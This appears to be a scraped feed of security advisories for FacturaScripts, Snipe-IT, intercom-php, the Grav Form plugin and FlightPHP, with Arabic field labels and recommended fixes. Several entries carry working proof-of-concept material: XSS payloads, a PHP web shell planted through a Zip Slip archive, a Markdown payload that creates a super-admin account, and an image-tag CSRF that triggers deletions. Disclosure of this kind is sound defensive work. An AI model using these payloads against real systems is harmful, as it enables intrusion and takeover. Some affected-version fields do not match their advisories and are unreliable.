CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
الوصف الكامل
### Summary An unauthenticated information disclosure vulnerability in the Installer controller allows any remote attacker to trigger phpinfo() on a fresh FacturaScripts deployment by requesting /?phpinfo=TRUE, exposing full PHP configuration, server environment variables (including any database credentials, API keys, or application secrets set as env vars), filesystem paths, and loaded extensions without being authenticated. ### Details The phpinfo() debug endpoint was intentionally added in commit 8c31c106 ("Added phpinfo option to the installer") on February 27, 2018, and has remained in the codebase for over 8 years across multiple major versions. The feature appears to have been added as a convenience tool to help users diagnose PHP configuration during installation. However, it exposes sensitive server information to any unauthenticated attacker who knows the parameter. Vulnerable code (Core/Controller/Installer.php ~line 115): if ('TRUE' === $this->request->query('phpinfo', '')) { phpinfo(); return; } This vulnerability is of the same class as CVE-2025-34081 (CONPROSYS HMI System unauthenticated phpinfo() exposure), which received a CVE assignment. Introduced: commit 8c31c1060581ad6ad591c7689da3a8df8a29f486 (Feb 27 2018) Still present: v2026-39-g262e79208 (confirmed April 2026) ### PoC Prerequisites: Fresh FacturaScripts deployment where installation has not yet been completed (config.php does not contain db_name). Step 1 — Clone and serve the application: git clone https://github.com/NeoRazorX/facturascripts cd facturascripts php -S localhost:8000 Step 2 — Send the following unauthenticated GET request: GET /?phpinfo=TRUE HTTP/1.1 Host: localhost:8000 Step 3 — Observe full phpinfo() output returned (20+ pages) containing: - Complete PHP configuration - All server environment variables - Filesystem paths - Loaded extensions and versions - HTTP request headers No credentials, cookies, or prior interaction required. Tested on: PHP 8.1.34, macOS, fresh clone with no configuration applied. Proof of concept screenshot/PDF available. ### Impact Vulnerability type: Unauthenticated Information Disclosure (CWE-200) Any unauthenticated remote attacker who can reach a freshly deployed FacturaScripts instance before installation is completed can retrieve the full PHP environment. On production deployments this includes: - Database credentials (DB_PASSWORD, DB_USER) if set as environment variables - Application secrets (APP_KEY, JWT secrets) if set as environment variables - Cloud provider credentials (AWS_SECRET_ACCESS_KEY, etc.) if present - Full server filesystem paths enabling targeted path traversal attempts - Exact PHP version and loaded extensions enabling version-specific attacks - All HTTP headers revealing internal infrastructure details - Database connection configuration (mysqli default socket, PDO drivers) - Exact PHP version enabling version-specific CVE targeting (PHP 8.1.34) Fresh deployments are commonly left unconfigured for extended periods on shared hosting and cloud environments, making this window reliably exploitable in real-world scenarios. Fix: Remove lines 115-118 from Core/Controller/Installer.php: if ('TRUE' === $this->request->query('phpinfo', '')) { phpinfo(); return; }
الإصدارات المتأثرة
v2026, v2026.1
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
الوصف الكامل
## Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the product search modal of sales and purchases documents. An authenticated user with access to the warehouse module can create a product with a malicious reference that executes arbitrary JavaScript in the browser of any other user who opens the product search modal inside an invoice, order, or delivery note. ## Affected files - `Core/Lib/AjaxForms/SalesModalHTML.php` - `Core/Lib/AjaxForms/PurchasesModalHTML.php` ## Vulnerability details The `referencia` field of a product variant is injected directly into an HTML `onclick` attribute string without JavaScript context escaping: ```php // SalesModalHTML.php ~line 102 $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . $row['referencia'] // no htmlspecialchars() applied . '\');">'; ``` When a product is saved, `noHtml()` encodes `'` → `'`. This appears safe in static HTML context. However, the modal HTML is later returned as a JSON response and inserted into the DOM via `innerHTML`: ```javascript // SalesDocument.html.twig line 118 document.getElementById("findProductList").innerHTML = data.products; ``` The browser HTML parser decodes `'` → `'` during the `innerHTML` assignment, breaking out of the JavaScript string literal in the `onclick` attribute and executing the injected code. **Attack payload stored in database:** `x'+alert(1)+'` **Resulting `onclick` after `innerHTML` decode:** ```javascript return salesFormAction('add-product', 'x'+alert(1)+'') // ^^^^^^^^^^ executes before the function call ``` ## Steps to reproduce **Step 1 — Inject the payload** 1. Log in as a user with write access to Warehouse → Products 2. Navigate to `/EditProducto` and create a new product with the following values: | Field | Value | |---|---| | Reference | `x'+alert(1)+'` | | Description | `test` | 3. Save the product **Step 2 — Trigger the XSS** 1. Make sure at least one customer exists in the system (Sales → Customers) 2. Navigate to `/EditFacturaCliente?codcliente=<customer_code>` 3. In the invoice form, click the product search button next to the "Referencia" field 4. Click on the 'malicious' product `alert(1)` <img width="1162" height="536" alt="image" src="https://github.com/user-attachments/assets/aaa2879e-c1fb-4af9-8501-bac03ca24ffe" /> ## Impact Although session cookies (`fsLogkey`, `fsNick`) have the `HttpOnly` flag set and cannot be read directly via `document.cookie`, the injected script runs in the victim's authenticated browser context, meaning the attacker can make arbitrary authenticated requests on their behalf, create new admin users via AJAX POST to `/EditUser`, exfiltrate any business data visible in the DOM, or redirect the user to an external site. The most critical scenario is privilege escalation: a low-privilege employee with only warehouse access can execute JavaScript in an administrator's session without knowing their password. ## Recommended fix Apply `htmlspecialchars()` with `ENT_QUOTES` before inserting `referencia` into the `onclick` attribute in both affected files. **`Core/Lib/AjaxForms/SalesModalHTML.php`** ```php // Before (vulnerable): $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . $row['referencia'] . '\');">'; // After (safe): $tbody .= '<tr onclick="return salesFormAction(\'add-product\', \'' . htmlspecialchars($row['referencia'], ENT_QUOTES, 'UTF-8') . '\');">'; ``` **`Core/Lib/AjaxForms/PurchasesModalHTML.php`** Apply the same change to the equivalent line. **Why `ENT_QUOTES` is required:** `ENT_QUOTES` encodes both `"` and `'` characters. This ensures that `'` is stored as `'` and — critically — remains `'` after `innerHTML` assignment, because `htmlspecialchars` produces a form that the HTML parser does not decode back into a raw quote inside a JS string context. **Alternative mitigation:** replace `innerHTML` with `innerText` or a DOM-based rendering approach that never parses injected strings as HTML. This would eliminate the entire class of HTML-injection-via-innerHTML vulnerabilities in the sales and purchases forms. ## Credits Omar Ramirez
الإصدارات المتأثرة
2018.03, 2018.04, 2018.05, 2018.11, v2018.12
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
الوصف الكامل
### Summary A Reflected Cross-Site Scripting (XSS) vulnerability exists in the fsNick cookie parameter. The application reflects the cookie's value directly into the HTML without sanitization. ### Details The fsNick cookie is rendered into the DOM without encoding. While the server does reject the modified session and forces a logout, the HTML containing the payload reaches the browser first. This lets the script execute immediately upon load, effectively beating the redirect. ### PoC 1. Log in to the application with any valid account. <img width="2078" height="302" alt="image" src="https://github.com/user-attachments/assets/d8a9a779-44e0-4a3e-839f-0a031868fbd5" /> 2. Capture any the GET request . <img width="1267" height="276" alt="image" src="https://github.com/user-attachments/assets/22e43f73-4f86-4cab-a074-7aba584a71ac" /> 3. Modify the value of "fsNick" with the following JavaScript: `<script>alert(window.origin)</script>` 4. Send the modified request. <img width="1569" height="319" alt="image" src="https://github.com/user-attachments/assets/ade88db1-aadc-4c50-9e02-d09888067e98" /> 5. Result <img width="1217" height="771" alt="image" src="https://github.com/user-attachments/assets/5858fe9f-127a-4845-b484-5a7ef4ae2cb4" /> ### Impact The payload executes before the session ends, which could potentially allow for a single unauthorized action before the logout.
الإصدارات المتأثرة
2018.03, 2018.04, 2018.05, 2018.11, v2018.12
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
الوصف الكامل
## Summary **Fectura Scripts** is an open-source ERP application, a **sensitive information disclosure vulnerability** was identified in the **Library** module's image upload and download pipeline. The application fails to strip EXIF and other embedded metadata from user-uploaded image files before storing them and serving them for download. As a result, any authenticated user who downloads an image from the Library can extract the original uploader's **GPS coordinates, device information, timestamps, embedded comments/notes, thumbnail previews, and other personally identifiable information (PII)** preserved in the image metadata. This vulnerability carries significant real-world impact: **an employee uploading a photo taken at their home inadvertently discloses their precise home address to every user with Library download access.** --- ## Affected Functionality Overview Fectura Scripts exposes image upload capabilities across several modules (e.g., email composition, profile settings, etc.). During testing, the **Library section** was identified as the only module that provides: - **Full image upload** (unrestricted image types observed) - **Persistent storage** of uploaded files - **Direct download** capability for any authenticated user with access - **No server-side metadata sanitization** at any point in the pipeline (upload, storage, or delivery) Other modules (e.g., email attachments) were also tested but either did not render images or had limited upload/download exposure. --- ## Technical Background ### What Is EXIF/Image Metadata? Most modern image formats (JPEG, TIFF, PNG with ancillary chunks, HEIC, WebP with XMP) embed metadata automatically at creation time. This metadata can include: | Metadata Category | Example Fields | Privacy Risk | |---|---|---| | **GPS / Geolocation** | GPSLatitude, GPSLongitude, GPSAltitude, GPSTimestamp | **Critical** — reveals exact physical location | | **Device Information** | Make, Model, Software, LensModel | Medium — device fingerprinting | | **Timestamps** | DateTimeOriginal, CreateDate, ModifyDate | Medium — behavioral profiling | | **User Comments** | UserComment, ImageDescription, XPComment, XPAuthor | **High** — may contain names, notes, PII | | **Thumbnails** | ThumbnailImage (embedded JPEG preview) | **High** — may preserve original uncropped image | | **Serial Numbers** | BodySerialNumber, LensSerialNumber, InternalSerialNumber | Medium — unique device tracking | | **Network/Software** | HostComputer, Software, ProcessingSoftware | Low–Medium — infrastructure disclosure | | **XMP / IPTC** | Creator, Rights, Description, Keywords | Medium — organizational/authorship leakage | ### Why This Matters in an ERP Context ERP platforms are used by businesses with multiple employees, contractors, clients, and sometimes external partners accessing shared resources. The **Library** module is inherently a collaborative, shared-access feature. Any image uploaded by one party is downloadable by many others — creating a **one-to-many PII exposure vector**. --- ## Step-by-Step Reproduction ### Prerequisites - A valid user account with access to the **Library** module (tested with Admin role; lower-privilege roles should also be tested) - A test image file containing rich EXIF/metadata (see Step 1) - An EXIF analysis tool: `exiftool` (CLI), or any online EXIF viewer --- ### Step 1: Prepare a Metadata-Rich Test Image Create or obtain a JPEG image with embedded GPS and descriptive metadata. You can inject test metadata using `exiftool`: ```bash exiftool \ -GPSLatitude="48.8566" \ -GPSLatitudeRef="N" \ -GPSLongitude="2.3522" \ -GPSLongitudeRef="E" \ -GPSAltitude="35" \ -UserComment="Confidential: Taken at employee home address" \ -XPAuthor="John Doe" \ -Make="Apple" \ -Model="iPhone 15 Pro Max" \ -DateTimeOriginal="2025:01:15 09:30:00" \ test_image.jpg ``` Verify metadata is present: ```bash exiftool test_image.jpg ``` Expected output should show all injected fields including GPS coordinates resolving to **Paris, France (48.8566°N, 2.3522°E)**. --- ### Step 2: Log in to Fectura Scripts 1. Navigate to the Fectura Scripts login page. 2. Authenticate with valid credentials. 3. Confirm access to the application dashboard. --- ### Step 3: Navigate to the Library Section 1. From the main navigation/sidebar, click on **"Library"** (or equivalent menu entry). 2. Confirm the Library module loads and displays existing files/images (if any). --- ### Step 4: Upload the Test Image 1. Click the **"Upload"** button/action within the Library interface. 2. Select the prepared `test_image.jpg` file. 3. Complete the upload process (fill any required fields such as title/description if prompted). 4. Confirm the image appears in the Library listing. --- ### Step 5: Download the Image (as the Same or Different User) 1. Locate the uploaded image in the Library. 2. Click the **"Download"** button/link (or right-click → Save As on the rendered image, depending on UI). 3. Save the file locally as `downloaded_image.jpg`. > **Note:** For stronger proof of impact, perform this step logged in as a **different user account** with Library access, demonstrating cross-user information leakage. --- ### Step 6: Extract and Analyze Metadata from the Downloaded File Run `exiftool` on the downloaded file: ```bash exiftool downloaded_image.jpg ``` **Observed Result (Vulnerable):** ``` GPS Latitude : 48 deg 51' 23.76" N GPS Longitude : 2 deg 21' 7.92" E GPS Altitude : 35 m GPS Position : 48.8566°N, 2.3522°E User Comment : Confidential: Taken at employee home address XP Author : John Doe Make : Apple Model : iPhone 15 Pro Max Date/Time Original : 2025:01:15 09:30:00 ... [ALL original metadata preserved in full] ``` **Expected Result (Secure):** All EXIF, XMP, IPTC, GPS, and comment fields should be **stripped or neutralized** before storage or at download time. Only essential image rendering data should remain. --- ### Step 7: Confirm GPS Resolution to Physical Location Take the extracted GPS coordinates and resolve them: ``` https://www.google.com/maps?q=48.8566,2.3522 ``` This confirms the metadata resolves to a **precise, real-world physical location** — demonstrating the severity of the leak. --- ## Root Cause Analysis The application's image upload handler in the Library module **stores the uploaded file byte-for-byte without any server-side processing to remove metadata**. The download handler then serves the identical file. At no point in the pipeline is any of the following performed: 1. **EXIF stripping** (e.g., via libraries like `Intervention Image`, `Imagick::stripImage()`, Python Pillow's `.save()` without EXIF, or `jpegtran -copy none`) 2. **Re-encoding / reprocessing** of the image (which would naturally discard non-image data) 3. **Selective metadata whitelisting** (preserving only color profile / orientation data) 4. **Content-Disposition header enforcement** to prevent inline rendering with metadata intact This is a **design-level omission** rather than a bypassable control — there is simply no metadata handling logic present. --- ## Impact Assessment ### Direct Impacts | Impact | Description | Severity | |---|---|---| | **Geolocation Disclosure** | GPS coordinates in uploaded photos can reveal home addresses, office locations, client sites, travel patterns of employees | **High** | | **PII Leakage** | Author names, comments, device owner names embedded in metadata expose personal identity | **High** | | **Device Fingerprinting** | Camera make/model, serial numbers, and software versions enable tracking and targeting of specific individuals or devices | **Medium** | | **Behavioral Profiling** | Timestamps and sequential GPS data across multiple uploads can reconstruct an individual's movements and schedule | **High** | | **Embedded Thumbnail Leakage** | Thumbnails may preserve the original uncropped image, potentially exposing content the user intentionally cropped out (documented in prior CVEs) | **Medium–High** | ### Contextual / Escalated Impacts - **Regulatory Exposure:** GPS coordinates and author names constitute **personal data** under GDPR (Art. 4(1)), CCPA, and similar frameworks. Failure to strip this data from shared/downloadable resources may constitute a **data protection violation** for organizations using Fectura Scripts. - **Insider Threat Amplification:** A malicious insider (employee, contractor) with Library download access can silently harvest geolocation and identity data of colleagues without any logging or indication to the victim. - **Physical Security Risk:** In sectors where employee physical safety is paramount (e.g., legal, law enforcement, journalism, NGOs, domestic violence support), leaking home GPS coordinates through an ERP system represents a **direct physical safety threat**. - **Supply Chain Risk:** If the Library is shared with external partners/vendors, the exposure surface extends beyond the organization. ### Why CVSS 6.5 Understates the Risk The CVSS base score of 6.5 reflects the mechanical characteristics of the vulnerability (network-accessible, low complexity, authenticated). However, the **contextual severity is higher** because: 1. Users have **no expectation** that uploading an image to an ERP system will broadcast their home coordinates. 2. The attack is **completely passive** — the attacker simply downloads a file; no exploitation toolkit or special skills are required. 3. The leaked data (GPS, PII) is **irrevocable** — once downloaded, the victim cannot "un-leak" their location. 4. The vulnerability affects **every image ever uploaded** to the Library, creating a retroactive exposure of historical data. **Recommended effective severity: HIGH for any deployment handling real employee/client data.** --- ## Recommended Remediation ### Immediate (Short-Term) | Priority | Action | |---|---| | **P0** | Implement **server-side EXIF/metadata stripping** on all image uploads in the Library module **before storage**. | | **P0** | **Retroactively strip metadata** from all existing images already stored in the Library. | | **P1** | Extend metadata stripping to **all other upload endpoints** across the application (email attachments, profile photos, product images, etc.). | ### Implementation Guidance (by Language/Stack) **PHP (likely stack for Fectura Scripts):** ```php // Using GD (built-in, no dependencies) function stripMetadata($sourcePath, $destPath) { $image = imagecreatefromjpeg($sourcePath); imagejpeg($image, $destPath, 95); // Re-encodes, discarding all EXIF imagedestroy($image); } // Using Imagick (if available) $img = new Imagick($sourcePath); $img->stripImage(); // Removes all EXIF, IPTC, XMP profiles $img->writeImage($destPath); ``` **Python:** ```python from PIL import Image img = Image.open("uploaded.jpg") data = list(img.getdata()) clean = Image.new(img.mode, img.size) clean.putdata(data) clean.save("clean.jpg") ``` **Command-line (for retroactive cleanup):** ```bash # Strip all metadata from all JPEGs in the library storage directory exiftool -all= -overwrite_original /path/to/library/uploads/*.jpg ``` ### Long-Term (Architectural) | Priority | Action | |---|---| | **P1** | Establish a **centralized file upload processing pipeline** that all modules route through, ensuring consistent sanitization. | | **P1** | Add **Content Security Policy** and `Content-Disposition: attachment` headers on all file downloads to reduce inline rendering risks. | | **P2** | Implement a configurable **metadata policy** (e.g., allow admins to choose between full strip, preserve orientation only, or preserve color profile). | | **P2** | Add **file type validation** (magic byte checking, not just extension) to the upload pipeline. | | **P3** | Consider adding a **user-facing warning** at upload time: "Note: Image metadata will be stripped for privacy." | --- ## 9. References | Resource | URL | |---|---| | CWE-200: Exposure of Sensitive Information | https://cwe.mitre.org/data/definitions/200.html | | CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer | https://cwe.mitre.org/data/definitions/212.html | | NIST NVD CVSS v3.1 Calculator | https://www.first.org/cvss/calculator/3.1 | | GDPR Art. 4(1) — Definition of Personal Data | https://gdpr-info.eu/art-4-gdpr/ | | ExifTool by Phil Harvey | https://exiftool.org/ | | Related CVE | https://nvd.nist.gov/vuln/detail/CVE-2023-29850 | --- ## 11. Conclusion The absence of image metadata sanitization in Fectura Scripts' Library module is a **clear, easily exploitable, and high-impact information disclosure vulnerability**. It requires no technical skill to exploit (just a file download and a free tool), it leaks data that users never intended to share (home GPS coordinates, personal identity), and it affects every image ever uploaded to the platform retroactively. While the CVSS base score of **6.5** categorizes this as "Medium," the real-world privacy consequences — particularly under GDPR and in contexts where physical safety is relevant — warrant treating this with **High urgency**. The fix is straightforward, well-documented, and should be implemented immediately across all upload endpoints. <img width="1920" height="1020" alt="image" src="https://github.com/user-attachments/assets/80cbdd80-fc80-45f2-b125-e0557e94ac40" /> <img width="1920" height="1020" alt="image" src="https://github.com/user-attachments/assets/53fd80bb-cd41-48d6-a9b8-3129f307bce6" />
الإصدارات المتأثرة
2018.03, 2018.04, 2018.05, 2018.11, v2018.12
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Summary A Critical vulnerability exists in the `Plugins::add()` function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory. ### Details The vulnerability is located in Plugins.php. While the `testZipFile` function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder. ```js // Vulnerable logic in Plugins.php for ($index = 0; $index < $zipFile->numFiles; $index++) { $data = $zipFile->statIndex($index); $path = explode('/', $data['name']); if (count($path) > 1) { $folders[$path[0]] = $path[0]; } } ``` An attacker can bypass this check by naming a file `ValidPluginName/../../shell.php`. The explode function will see ValidPluginName as the root folder, satisfying the `count($folders) != 1` check. However, during extraction, the `../../` sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory. ### PoC Prepare Malicious ZIP: Use a tool (like evilarc) or a script to create a ZIP file where one of the entries is named: `MyPlugin/../../rce.php` Inject Payload: Inside rce.php, put a simple shell: `<?php system($_GET['cmd']); ?>` Upload: Navigate to the "Add Plugin" section in FacturaScripts and upload the malicious ZIP. Execution: Access the shell via https://target.com/rce.php?cmd=whoami. ### Impact Confidentiality: High (Attacker can read all database configs and files). Integrity: High (Attacker can modify any file on the server). Availability: High (Attacker can delete the entire installation). > https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-27891.md
الإصدارات المتأثرة
2018.03, 2018.04, 2018.05, 2018.11, v2018.12
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
Insecure Permissions vulnerability in grokability snipe-it versions through 8.4.0, fixed after 2026-03-10 commit 676a9958, allow a remote attacker to execute arbitrary code via the `app/Http/Controllers/Api/UploadedFilesController.php` component ### Impact Users who can view assets, consumables, etc were able to send a POST request to `/api/v1/{object_type}/{id}/files`. The API authorized with "view" instead of write permission and persists the file and audit log entry. ### Patches Fixed after 2026-03-10 commit 676a9958, fix released to 8.4.1. ### Workarounds None.
الإصدارات المتأثرة
3.2.0, v0.1.0, v0.1.1, v0.1.2, v0.2.0
نوع الثغرة
CWE-284 — CWE-284
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الوصف الكامل
### Impact On April 30, 2026, a malicious commit was pushed to the intercom/intercom-php repository and tagged as version 5.0.2, using a compromised service account (github-management-service). This occurred as part of the same supply chain attack that affected intercom-client on npm. The malicious version contained a Composer plugin that acted as a dropper, downloading the Bun JavaScript runtime (version 1.3.13) and executing an obfuscated credential-harvesting payload. The payload targeted cloud provider credentials (AWS, GCP, Azure), environment variables, .env files, SSH keys, local configuration files, and CI/CD secrets. The malicious tag was live between approximately 20:53 UTC and 22:37 UTC on April 30, 2026, before being identified and reverted to a clean commit. This compromise is part of the "Mini Shai-Hulud" supply chain campaign tracked by Wiz and Socket. To check if a consuming project is affected, run: `composer show intercom/intercom-php --version`. If the project installed or updated between 20:53 and 22:37 UTC on April 30, it may have received the malicious version. The malicious commit hash was `e69bf4b3`. The clean commit is `9371eba9`. Check `composer.lock` to verify which version the consuming project is using. ### Patches Version 5.0.1 and all prior versions are unaffected. The 5.0.2 tag has been reverted to a clean commit. Downgrade to 5.0.1 or run `composer clear-cache` and reinstall to get the clean 5.0.2. ### Workarounds If a project installed version 5.0.2 during the affected window, treat all credentials accessible from that environment as compromised and rotate them. Clear the Composer cache with `composer clear-cache` and check `composer.lock` for the commit hash to confirm whether you have the malicious or clean version. ### Resources - https://www.intercomstatus.com/us-hosting/incidents/01KQFN6VS6ARP1XBR1K1SBYY59 - https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
الإصدارات المتأثرة
5.0.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
الوصف الكامل
### Summary (Tested on Form 9.0.3 released on April, 28th) The Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked. A page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field has `accept: ['*']` (or any policy that admits text files), an unauthenticated visitor can: 1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames), 2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page's own `.md` file**. ### Details **Vulnerable code path** `user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`): ```php $grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post])); $upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true); $filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled // ... if (!Utils::checkFilename($filename)) { // ← extension blocklist only return ['status' => 'error', 'message' => 'Bad filename']; } ``` `Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**. The MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint's `accept` list. With `accept: ['*']`, all filenames pass. After upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload->moveTo($destination)`: ```php $destination = $upload->getDestination(); // ← determined at upload time: // $destination = $page_dir . '/' . $filename $folder = $filesystem->dirname($destination); if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... } $upload->moveTo($destination); ``` `moveTo()` does not check whether `$destination` is an existing protected file — if `form.md` (the page's own content) already exists at the destination, it is **overwritten**. A Grav page's `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition. ### PoC **Setup** : Any existing page with a form like this — a "generic upload" form is the realistic case: ```yaml --- title: Upload your file form: name: upform fields: - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'} - {name: notes, type: text} buttons: - {type: submit, value: Upload} process: - upload: true - display: thanks --- ``` 1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path `/upload`. ```yaml --- title: Pwned form: name: pwn fields: - {name: dummy, type: text} buttons: - {type: submit, value: Submit} process: - save: folder: '../accounts' filename: 'viaup.yaml' extension: yaml operation: create body: | state: enabled email: viaup@example.com fullname: Via Upload title: Admin access: admin: { login: true, super: true } site: { login: true } hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq - display: thanks --- ``` (Hash above is bcrypt for `PwnPass123!`.) 2. Attacker accesses the new markdown file under the original path and loads the new markdown file `GET /upload`. 3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid. ``` POST /upload HTTP/1.1 ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="data[_json][img]" [] ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="data[notes]" ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="__form-name__" pwn ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="__unique_form_id__" 8r7q1iwdnnmcgkohlbtj ------geckoformboundary44d7ad8deb57480098493877a35ad715 Content-Disposition: form-data; name="form-nonce" 4e9417f0c7e89d1ab4e0dbe136ec78bd ------geckoformboundary44d7ad8deb57480098493877a35ad715-- ``` 4. Login as a newly created super admin user. ### Impact Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. ### Remediation Block sensitive page-content filenames at upload In `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check: ```php // Block files that would overwrite Grav page content if uploaded into // a page directory. Page templates are .md (Markdown) and .yaml/.yml // (frontmatter overrides). Block both for safety. $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig']; if (in_array($ext, $pageContentExtensions, true)) { return [ 'status' => 'error', 'message' => 'File type not allowed for upload (page content files are blocked)', ]; } ``` Add `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list — these all carry executable semantics in Grav's runtime even though they are not "PHP".
الإصدارات المتأثرة
All versions < 9.1.0
نوع الثغرة
CWE-73 — CWE-73
CVSS Vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
الوصف الكامل
### Summary The default error handler `Engine::_error()` writes the full exception message, exception code, and stack trace (including absolute filesystem paths) directly into the HTTP 500 response, with no debug gating. Production deployments leak internal paths, any secret interpolated into an exception message, and full module structure — giving attackers primitives for chaining other weaknesses (LFI, path traversal). ### Affected code `flight/Engine.php` (≈ lines 678-704): ```php public function _error(Throwable $e): void { ... $msg = sprintf(<<<'HTML' <h1>500 Internal Server Error</h1> <h3>%s (%s)</h3> <pre>%s</pre> HTML, $e->getMessage(), $e->getCode(), $e->getTraceAsString() ); $this->response()->cache(0)->clearBody()->status(500)->write($msg)->send(); } ``` No `flight.debug` check, no environment gating. ### Proof of concept Any uncaught exception — including those auto-raised from `handleError()` — returns: ``` HTTP/1.1 500 Internal Server Error <h1>500 Internal Server Error</h1> <h3>secret path /var/www/config/db.yml; token=LEAKED123 (0)</h3> <pre>#0 [internal function]: {closure}() #1 /home/user/app/vendor/flightphp/core/flight/core/Dispatcher.php(361)... #2 /home/user/app/vendor/flightphp/core/flight/Engine.php(...) ... </pre> ``` Reproduced against the live PoC app at `/poc5/error`. ### Impact - Disclosure of absolute filesystem paths (primes weaponization of LFI / path-traversal vulnerabilities in the same application). - Disclosure of secrets (DB credentials, API tokens) when exceptions are constructed with interpolated configuration values. - Enumeration of installed vendor packages and internal application structure. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) A new `flight.debug` setting (default `false`) gates the verbose output. In production the handler now emits only `<h1>500 Internal Server Error</h1>`. Developers can set `flight.debug = true` in local environments to restore the full trace output. ### Credit Discovered by **@Rootingg**.
الإصدارات المتأثرة
v1.0, v1.1, v1.1.10, v1.1.5, v1.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الوصف الكامل
### Summary `Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST['_method']` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. ### Affected code `flight/net/Request.php` (≈ lines 281-292): ```php public static function getMethod(): string { $method = self::getVar('REQUEST_METHOD', 'GET'); if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') { $method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE'); } elseif (isset($_REQUEST['_method']) === true) { $method = $_REQUEST['_method']; } return strtoupper($method); } ``` `$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`. ### Proof of concept ``` GET /item/42?_method=DELETE HTTP/1.1 ``` is dispatched as `DELETE /item/42`. ``` GET /item/42 HTTP/1.1 X-HTTP-Method-Override: DELETE ``` is also dispatched as `DELETE /item/42`. Trivial CSRF vector (no JavaScript required): ```html <img src="https://victim.tld/item/42?_method=DELETE"> ``` loaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked). Reproduced against `/poc4/item/42`. ### Impact - GET → DELETE / PUT CSRF on any route registered for unsafe verbs. - Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE. - CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) A new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely. ### Credit Discovered by **@Rootingg**.
الإصدارات المتأثرة
v1.0, v1.1, v1.1.10, v1.1.5, v1.2
CVSS Vector
